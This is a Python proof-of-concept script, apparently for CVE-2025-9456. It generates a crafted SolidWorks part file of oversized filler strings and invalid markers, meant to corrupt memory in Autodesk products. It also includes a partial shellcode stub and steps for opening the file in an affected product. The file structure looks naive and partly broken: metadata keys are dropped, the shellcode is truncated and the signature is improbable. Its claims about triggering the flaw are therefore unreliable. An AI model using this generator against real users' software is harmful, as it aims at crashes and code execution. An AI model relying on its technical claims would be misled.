#!/usr/bin/env python3
"""
CVE-2025-9456 PoC - Malicious SLDPRT File Generator
Note: This is for educational and security research purposes only.
Author: Security Researcher
"""
import struct
import os
def create_malicious_sldprt(output_path):
"""
Generate a malicious SLDPRT file that triggers memory corruption
in Autodesk products during file parsing.
This PoC demonstrates the vulnerability by creating a file with:
- Oversized string fields that overflow buffer boundaries
- Malformed binary data structures
- Crafted geometry data that causes parsing errors
"""
# SLDPRT file signature (SolidWorks part file)
sldprt_header = b'SLDPRT' # File signature
# Version information
version = b'20.0' # SolidWorks version
# Create oversized data that triggers buffer overflow
# This is the key to triggering the memory corruption
overflow_data = b'A' * 10000 # Long string that exceeds buffer size
# Malformed geometry section
geometry_header = struct.pack('<I', 0xFFFFFFFF) # Invalid marker
geometry_data = b'\x00' * 5000 # Corrupted geometry data
# File metadata with oversized fields
metadata = {
'author': overflow_data,
'description': b'X' * 8000,
'created_date': b'2' * 4096,
'modified_date': b'3' * 4096,
}
# Assemble the malicious file
malicious_content = bytearray()
malicious_content.extend(sldprt_header)
malicious_content.extend(version)
malicious_content.extend(overflow_data)
malicious_content.extend(geometry_header)
malicious_content.extend(geometry_data)
for key, value in metadata.items():
malicious_content.extend(value)
# Write the malicious file
with open(output_path, 'wb') as f:
f.write(malicious_content)
print(f"[+] Malicious SLDPRT file created: {output_path}")
print(f"[+] File size: {len(malicious_content)} bytes")
print(f"[!] This file triggers memory corruption when parsed by Autodesk products")
def create_shellcode_payload():
"""
Generate shellcode for code execution
This is a placeholder - actual shellcode would be platform-specific
"""
# Example: Windows x64 calc.exe shellcode (not functional, for reference)
shellcode = bytearray([
0x48, 0x31, 0xC0, # xor rax, rax
0x48, 0x31, 0xFF, # xor rdi, rdi
0x48, 0x31, 0xF6, # xor rsi, rsi
0x48, 0x31, 0xD2, # xor rdx, rdx
0x50, # push rax
0x48, 0xBB, # mov rbx, "calc.exe"
])
return shellcode
if __name__ == '__main__':
print("=" * 60)
print("CVE-2025-9456 PoC - SLDPRT Memory Corruption")
print("=" * 60)
print("\n[!] DISCLAIMER: This tool is for educational purposes only.\n")
output_file = "malicious_crafted_part.sldprt"
create_malicious_sldprt(output_file)
print("\n[*] To test this vulnerability:")
print(" 1. Open the generated .sldprt file with an affected Autodesk product")
print(" 2. Observe the application crash or unexpected behavior")
print(" 3. With further exploitation, arbitrary code could be executed")
print("\n[*] Recommended actions:")
print(" - Update Autodesk products to the latest version")
print(" - Do not open untrusted SLDPRT files")
print(" - Implement file validation and sandboxing")